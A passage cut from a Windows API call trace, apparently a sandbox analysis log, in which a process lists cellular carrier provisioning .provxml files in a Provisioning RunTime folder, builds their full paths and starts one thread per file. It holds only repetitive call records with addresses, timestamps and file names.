Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.712] wcscat (in: _Dest=0x304f818, _Source="704__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\704__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\704__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0182.712] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x304f818, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e0 [0182.713] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918eeee8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x918eeee8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x918eeee8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="705__Connections_Cellular_FASTWEB (Italy)_i0$(__MVID)@WAP.provxml", cAlternateFileName="705__C~1.PRO")) returned 1 [0182.713] wcscmp (_String1="705__Connections_Cellular_FASTWEB (Italy)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.713] wcscmp (_String1="705__Connections_Cellular_FASTWEB (Italy)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.713] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x4f02fe8 [0182.713] wcscpy (in: _Dest=0x4f02fe8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.713] wcscat (in: _Dest=0x4f02fe8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.713] wcscat (in: _Dest=0x4f02fe8, _Source="705__Connections_Cellular_FASTWEB (Italy)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\705__Connections_Cellular_FASTWEB (Italy)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\705__Connections_Cellular_FASTWEB (Italy)_i0$(__MVID)@WAP.provxml" [0182.713] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02fe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b0 [0182.714] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918eeee8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x918eeee8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x918eeee8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="706__Connections_Cellular_FASTWEB (Italy)_i1$(__MVID)@WAP.provxml", cAlternateFileName="706__C~1.PRO")) returned 1 [0182.714] wcscmp (_String1="706__Connections_Cellular_FASTWEB (Italy)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.714] wcscmp (_String1="706__Connections_Cellular_FASTWEB (Italy)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.714] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x4f02318 [0182.714] wcscpy (in: _Dest=0x4f02318, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.714] wcscat (in: _Dest=0x4f02318, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.714] wcscat (in: _Dest=0x4f02318, _Source="706__Connections_Cellular_FASTWEB (Italy)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\706__Connections_Cellular_FASTWEB (Italy)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\706__Connections_Cellular_FASTWEB (Italy)_i1$(__MVID)@WAP.provxml" [0182.714] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02318, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x37c [0182.714] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918eeee8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x918eeee8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x918eeee8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="707__Connections_Cellular_Transatel (France)_i0$(__MVID)@WAP.provxml", cAlternateFileName="707__C~1.PRO")) returned 1 [0182.714] wcscmp (_String1="707__Connections_Cellular_Transatel (France)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.714] wcscmp (_String1="707__Connections_Cellular_Transatel (France)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.715] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x304f410 [0182.715] wcscpy (in: _Dest=0x304f410, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.715] wcscat (in: _Dest=0x304f410, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.715] wcscat (in: _Dest=0x304f410, _Source="707__Connections_Cellular_Transatel (France)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\707__Connections_Cellular_Transatel (France)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\707__Connections_Cellular_Transatel (France)_i0$(__MVID)@WAP.provxml" [0182.715] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x304f410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e4 [0182.715] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918eeee8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x918eeee8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x918eeee8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="708__Connections_Cellular_Transatel (France)_i1$(__MVID)@WAP.provxml", cAlternateFileName="708__C~1.PRO")) returned 1 [0182.715] wcscmp (_String1="708__Connections_Cellular_Transatel (France)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.715] wcscmp (_String1="708__Connections_Cellular_Transatel (France)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.715] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x304e7f8 [0182.715] wcscpy (in: _Dest=0x304e7f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.715] wcscat (in: _Dest=0x304e7f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.715] wcscat (in: _Dest=0x304e7f8, _Source="708__Connections_Cellular_Transatel (France)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\708__Connections_Cellular_Transatel (France)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\708__Connections_Cellular_Transatel (France)_i1$(__MVID)@WAP.provxml" [0182.716] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x304e7f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x304 [0182.716] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91915157, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91915157, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91915157, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="709__Connections_Cellular_Transatel (Worldwide)_i0$(__MVID)@WAP.provxml", cAlternateFileName="709__C~1.PRO")) returned 1 [0182.716] wcscmp (_String1="709__Connections_Cellular_Transatel (Worldwide)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.716] wcscmp (_String1="709__Connections_Cellular_Transatel (Worldwide)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.716] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14c) returned 0x304eeb0 [0182.716] wcscpy (in: _Dest=0x304eeb0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.716] wcscat (in: _Dest=0x304eeb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.716] wcscat (in: _Dest=0x304eeb0, _Source="709__Connections_Cellular_Transatel (Worldwide)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\709__Connections_Cellular_Transatel (Worldwide)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\709__Connections_Cellular_Transatel (Worldwide)_i0$(__MVID)@WAP.provxml" [0182.716] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x304eeb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x778 [0182.717] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90353002, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90353002, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90353002, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="70__Connections_Cellular_China Unicom (China)_i0$(__MVID)@WAP.provxml", cAlternateFileName="70__CO~1.PRO")) returned 1 [0182.717] wcscmp (_String1="70__Connections_Cellular_China Unicom (China)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.717] wcscmp (_String1="70__Connections_Cellular_China Unicom (China)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.717] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x304f160 [0182.717] wcscpy (in: _Dest=0x304f160, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.717] wcscat (in: _Dest=0x304f160, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.717] wcscat (in: _Dest=0x304f160, _Source="70__Connections_Cellular_China Unicom (China)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\70__Connections_Cellular_China Unicom (China)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\70__Connections_Cellular_China Unicom (China)_i0$(__MVID)@WAP.provxml" [0182.717] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x304f160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x650 [0182.718] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91915157, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91915157, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91915157, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x309, dwReserved0=0x0, dwReserved1=0x0, cFileName="710__Connections_Cellular_Transatel (DataMarketplace)_i0$(__MVID)@WAP.provxml", cAlternateFileName="710__C~1.PRO")) returned 1 [0182.718] wcscmp (_String1="710__Connections_Cellular_Transatel (DataMarketplace)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.718] wcscmp (_String1="710__Connections_Cellular_Transatel (DataMarketplace)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.718] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x158) returned 0x2ff0b38 [0182.718] wcscpy (in: _Dest=0x2ff0b38, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.718] wcscat (in: _Dest=0x2ff0b38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.718] wcscat (in: _Dest=0x2ff0b38, _Source="710__Connections_Cellular_Transatel (DataMarketplace)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\710__Connections_Cellular_Transatel (DataMarketplace)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\710__Connections_Cellular_Transatel (DataMarketplace)_i0$(__MVID)@WAP.provxml" [0182.718] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff0b38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5dc [0182.719] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91915157, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91915157, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91915157, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="711__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml", cAlternateFileName="711__D~1.PRO")) returned 1 [0182.719] wcscmp (_String1="711__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml", _String2=".") returned 1 [0182.719] wcscmp (_String1="711__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml", _String2="..") returned 1 [0182.719] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x16a) returned 0x2ff25d0 [0182.719] wcscpy (in: _Dest=0x2ff25d0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.719] wcscat (in: _Dest=0x2ff25d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.719] wcscat (in: _Dest=0x2ff25d0, _Source="711__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\711__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\711__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml" [0182.719] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff25d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e8 [0182.719] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91915157, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91915157, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91915157, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="712__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml", cAlternateFileName="712__D~1.PRO")) returned 1 [0182.720] wcscmp (_String1="712__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml", _String2=".") returned 1 [0182.720] wcscmp (_String1="712__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml", _String2="..") returned 1 [0182.720] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x158) returned 0x2ff0868 [0182.720] wcscpy (in: _Dest=0x2ff0868, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.720] wcscat (in: _Dest=0x2ff0868, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.720] wcscat (in: _Dest=0x2ff0868, _Source="712__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\712__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\712__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml" [0182.720] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff0868, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5cc [0182.720] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91915157, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91915157, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91915157, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="713__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="713__C~1.PRO")) returned 1 [0182.727] wcscmp (_String1="713__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.727] wcscmp (_String1="713__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.727] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x304eaa8 [0182.727] wcscpy (in: _Dest=0x304eaa8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.727] wcscat (in: _Dest=0x304eaa8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.727] wcscat (in: _Dest=0x304eaa8, _Source="713__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\713__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\713__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" [0182.727] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x304eaa8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x854 [0182.728] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9193b3c3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9193b3c3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9193b3c3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x399, dwReserved0=0x0, dwReserved1=0x0, cFileName="714__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="714__C~1.PRO")) returned 1 [0182.728] wcscmp (_String1="714__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.728] wcscmp (_String1="714__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.728] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x304f970 [0182.728] wcscpy (in: _Dest=0x304f970, _Source="C:\\Users\\All 